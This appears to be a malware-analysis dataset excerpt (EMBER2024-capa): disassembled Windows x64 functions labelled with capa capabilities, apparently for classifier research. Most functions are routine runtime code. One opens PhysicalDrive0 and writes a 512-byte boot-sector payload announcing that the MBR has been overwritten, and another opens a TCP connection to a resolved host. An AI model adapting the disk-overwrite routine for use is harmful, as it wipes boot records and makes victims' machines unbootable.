joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400156f0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x10090
call fcn.14003dfa0
sub rsp, rax
mov rax, qword [0x140054010]
xor rax, rsp
mov qword [rsp + 0x10080], rax
xor ebp, ebp
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x80], bp
lea rbx, [rsp + 0x30]
mov word [rsp + 0x30], bp
mov al, 0x4e
lea edi, [rbp + 0x28]
nop
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.1400323c0
cmp rax, 1
jne 0x1400157fe
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14001577f
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140015773
cmp rcx, 1
jb 0x1400157fe
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x140015740
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x1400157fa
lea rcx, [rsp + 0x80]
call fcn.140033870
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.140025980
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
xor eax, eax
jmp 0x1400157d1
call fcn.140027bc8
int3

Function at 0x140015810
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140054010]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor ebp, ebp
lea rsi, str.NUITKA_PYTHONPATH
mov word [rsp + 0x30], bp
lea rbx, [rsp + 0x30]
mov al, 0x4e
lea edi, [rbp + 0x28]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.1400323c0
cmp rax, 1
jne 0x1400158e5
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x14001588c
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140015880
cmp rcx, 1
jb 0x1400158e5
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x140015851
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140025980
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140027bc8
int3
Function at 0x140026368
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400263b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400263b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400263b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400263b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400263b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400263b4
xor al, al
add rsp, 0x28
ret

Function at 0x140027efc
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140027d8f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140027d8f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140027d8f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140027d8f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140027d8f
cmp dword [rcx + 0x84], 0xe
jbe 0x140027d8f
cmp dword [rcx + 0xf8], 0
je 0x140027d8f
mov ecx, ebx
call fcn.140027e30
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140027c20
cmp dword [rbp + 0x20], 0
je 0x140027ddc
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140027de4
int3
xor r8d, r8d
xor edx, edx
jmp 0x140027d28
Function at 0x14003dee0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14003df08
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14003df08
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140001380
Capabilities:
Terminate process
Write file on windows

Disassembly:
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
lea rcx, str..PhysicalDrive0
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, str._bits_16_____r_n_org_0x7c00_____r_n_r_n_r_nstart:____r_n____________r_nxor_ax_ax___________r_nmov_ds_ax___________r_nmov_es_ax___________r_nmov_bx_0x8000_r_n_r_n_r_nmov_si__surprise_____________r_ncall_print_string_t_t_t_t_______r_n_r_nsurprise_db__Surprise__Your_MBR_has_been_over_written__13_0__your_own_message_goes_here_r_n_r_n_r_nprint_string:_r_nmov_ah__0x0E___________r_n_r_n.repeat_next_char:_r_nlodsb____t_t_t_r_ncmp_al__0______________t_t_r_nje_.done_print_t_t_____t_r_nint_0x10_________________t__r_njmp_.repeat_next_char____t_r_n_r_n.done_print:_r_nret__________________t_r_n_r_ntimes__510_____________db_0x00______r_ndw_0xAA55____________________________t_t_t_t_t_t____r_n_t_r_n_t_r_n_t
mov r8d, 0x200
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
cmp eax, 1
jne 0x14000142a
lea rdx, str.oh_no__bai_bai_:_
call section..text
mov rcx, rax
lea rdx, [0x140001260]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140001320
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, str.is_no_worky_
call section..text
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x140001db8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e02
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e04
xor al, al
add rsp, 0x28
ret
Function at 0x140007ca0
Capabilities:
Check if file exists
Delete file
Get file attributes
Move file
Terminate process

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
movaps xmmword [rsp + 0x60], xmm6
mov rcx, qword [0x1400410c0]
test rcx, rcx
je 0x140007cdb
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140007d00
mov rcx, qword [0x1400410c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [0x1400420e0], 0
jne 0x140007d18
movaps xmm6, xmmword [rsp + 0x60]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov rcx, qword [0x1400410c0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140007cce
mov edx, 0x414
lea r12, [rsp + 0x20]
lea rsi, [0x14001d392]
mov qword [rsp + 0x20], 0
lea rdi, [0x140042100]
movq xmm0, rsi
mov rcx, r12
mov dword [rsp + 0x28], 3
movq xmm6, rdi
mov word [rsp + 0x40], dx
mov rbp, qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, 0x14
punpcklqdq xmm6, xmm0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rsi
movaps xmmword [rsp + 0x30], xmm6
call rbp
mov r13, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov r14, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140007de4
test al, 0x10
je 0x140007ce4
mov ecx, 0x64
call r14
mov eax, 0x414
mov qword [rsp + 0x50], rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 3
mov word [rsp + 0x40], ax
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
movaps xmmword [rsp + 0x30], xmm6
call rbp
sub ebx, 1
je 0x140007ce4
mov rcx, rdi
call r13
cmp eax, 0xffffffff
jne 0x140007d90
jmp 0x140007ce4

Function at 0x14000e450
Capabilities:
Create directory

Disassembly:
push rdi
mov eax, 0x2020
push rsi
push rbx
call fcn.140015750
sub rsp, rax
mov eax, dword [0x140046100]
mov rsi, rcx
test eax, eax
je 0x14000e4f0
xor ebx, ebx
lea rdi, [0x140044100]
test eax, eax
jg 0x14000e48c
jmp 0x14000e4a0
add rbx, 1
cmp dword [0x140046100], ebx
jle 0x14000e4a0
mov rdx, qword [rdi + rbx*8]
mov rcx, rsi
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x14000e480
jmp 0x14000e4d7
mov rcx, rsi
call sub.msvcrt.dll_wcslen
cmp rax, 2
jne 0x14000e4b5
cmp word [rsi + 2], 0x3a
je 0x14000e4d7
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x14000e540
movsxd rbx, dword [0x140046100]
cmp ebx, 0x3ff
jle 0x14000e558
mov eax, 1
add rsp, 0x2020
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
lea rbx, str.HOME
mov r8d, 0x1000
mov rdx, rbx
mov rcx, rdi
call fcn.140007540
test al, al
je 0x14000e57a
movsxd rbx, dword [0x140046100]
mov rcx, rdi
lea rdi, [0x140044100]
call sub.msvcrt.dll__wcsdup
mov qword [rdi + rbx*8], rax
mov eax, dword [0x140046100]
add eax, 1
mov dword [0x140046100], eax
jmp 0x14000e471
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000e4c4
xor eax, eax
jmp 0x14000e4dc
mov rcx, rsi
call sub.msvcrt.dll__wcsdup
add dword [0x140046100], 1
mov rdx, rax
lea rax, [0x140044100]
mov qword [rax + rbx*8], rdx
jmp 0x14000e4d7
mov rcx, rbx
call fcn.140007be0
nop
nop word cs:[rax + rax]
nop
Function at 0x140014430
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.14001b380
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.14001b380
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x140015102
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140046228]
test eax, eax
je 0x14001519a
lea rax, [0x140046200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140046230]
mov qword [rbp - 8], rax
jmp 0x14001517e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140015172
cmp qword [rbp - 0x10], 0
je 0x140015172
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140015138
lea rax, [0x140046200]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14001519b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400152a0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400152c8
mov eax, 0
jmp 0x140015316
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400152f1
mov eax, 0
jmp 0x140015316
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140015311
mov eax, 0
jmp 0x140015316
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14001c9b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 0x1384], 0xffffffff
lea r9, [rcx + 8]
mov dword [rcx + 4], edx
mov r8d, 1
nop word [rax + rax]
mov eax, edx
lea r9, [r9 + 4]
shr eax, 0x1e
xor eax, edx
imul edx, eax, 0x6c078965
add edx, r8d
inc r8
mov dword [r9 - 4], edx
cmp r8, 0x270
jb 0x14001c9d0
mov dword [rcx], 0x270
mov rax, rcx
ret

Function at 0x14001cc90
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rcx + 4], edx
lea r9, [rcx + 8]
mov eax, 1
nop dword [rax]
mov r8d, edx
lea r9, [r9 + 4]
shr r8d, 0x1e
xor r8d, edx
imul edx, r8d, 0x6c078965
add edx, eax
inc rax
mov dword [r9 - 4], edx
cmp rax, 0x270
jb 0x14001cca0
mov dword [rcx], 0x270
ret

Function at 0x14001db90
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x14001dbf1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x14001dbb0
mov ecx, dword [r9]
jmp 0x14001dcdb
cmp ecx, 0x4e0
jb 0x14001dcdb
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x14001dc10
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x14001dc60
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14001ed74
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001edbe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001edbe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001edbe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001edbe
cmp dword [rcx + 0x84], 0xe
jbe 0x14001edbe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001edc0
xor al, al
add rsp, 0x28
ret

Function at 0x140024f2c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140024f9b
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140024f9b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140024f9b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140024f9b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140024f9b
cmp dword [rcx + 0x84], 0xe
jbe 0x140024f9b
cmp dword [rcx + 0xf8], 0
je 0x140024f9b
mov ecx, ebx
call fcn.14002504c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140024e28
nop
cmp dword [rbp + 0x20], 0
je 0x140024fe9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140024ff4
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140024f2c

Function at 0x140025130
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140024f2c
Function at 0x140028310
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140028340
xor eax, eax
jmp 0x140028403
mov rbp, rbx
cmp word [rax], si
je 0x140028365
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14002834c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140028348
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140028230
movsxd r14, eax
test eax, eax
jne 0x1400283a3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140028339
mov rcx, r14
call fcn.1400291ec
mov rdi, rax
test rax, rax
jne 0x1400283bc
xor ecx, ecx
call fcn.140026890
jmp 0x140028398
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140028230
test eax, eax
jne 0x1400283ed
mov rcx, rdi
call fcn.140026890
jmp 0x1400283f7
xor ecx, ecx
call fcn.140026890
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14002b390
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140027300
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14002b41a
cmp byte [rbp - 0x21], r15b
je 0x14002b415
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14002b450
call fcn.140026448
test eax, eax
jne 0x14002b43c
cmp byte [rbp - 0x21], r15b
je 0x14002b434
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14002b450
cmp byte [rbp - 0x21], r15b
je 0x14002b44d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400268e0
test eax, eax
jne 0x14002b4f0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140027300
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14002b48f
cmp byte [rbp - 0x21], r15b
je 0x14002b4c4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14002b4c4
call fcn.140026448
test eax, eax
jne 0x14002b4b0
cmp byte [rbp - 0x21], r15b
je 0x14002b4a9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14002b4c4
cmp byte [rbp - 0x21], r15b
je 0x14002b4c1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400268e0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14002b4f0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14002b4f3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14002b501
mov rcx, rdi
call fcn.140026890
cmp byte [rbp + 0x3f], r15b
je 0x14002b510
mov rcx, qword [rbp + 0x27]
call fcn.140026890
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14002e2e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002e308
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002e308
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000aee0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
mov word [rsp + 0x10], dx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov r8d, 6
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
jne 0x14000af18
xor eax, eax
jmp 0x14000afdf
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x14000af3a
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x30], rax
jmp 0x14000af64
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x20], eax
mov r8d, 2
mov edx, 4
lea rcx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_gethostbyaddr]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x14000af7b
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000afdf
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rax + rcx]
mov eax, dword [rax]
mov dword [rsp + 0x3c], eax
mov eax, 2
mov word [rsp + 0x38], ax
movzx ecx, word [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x3a], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x14000afda
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x14000afdf
mov rax, qword [rsp + 0x28]
add rsp, 0x58
ret

Function at 0x14000bcc0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov dword [rsp + 0x20], 1
lea rdx, [0x1403655eb]
mov rcx, qword [rsp + 0x60]
call fcn.1400064f0
nop
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 0x400
mov qword [rsp + 0x38], 0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
lea rdx, [0x140497830]
mov cx, 0x101
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14000bd4f
mov dword [rsp + 0x20], 0
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x14000bd45
and dword [rsp + 0x20], 0xfffffffe
mov rcx, qword [rsp + 0x60]
call fcn.1400067e0
mov rax, qword [rsp + 0x60]
jmp 0x14000bddd
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x24]
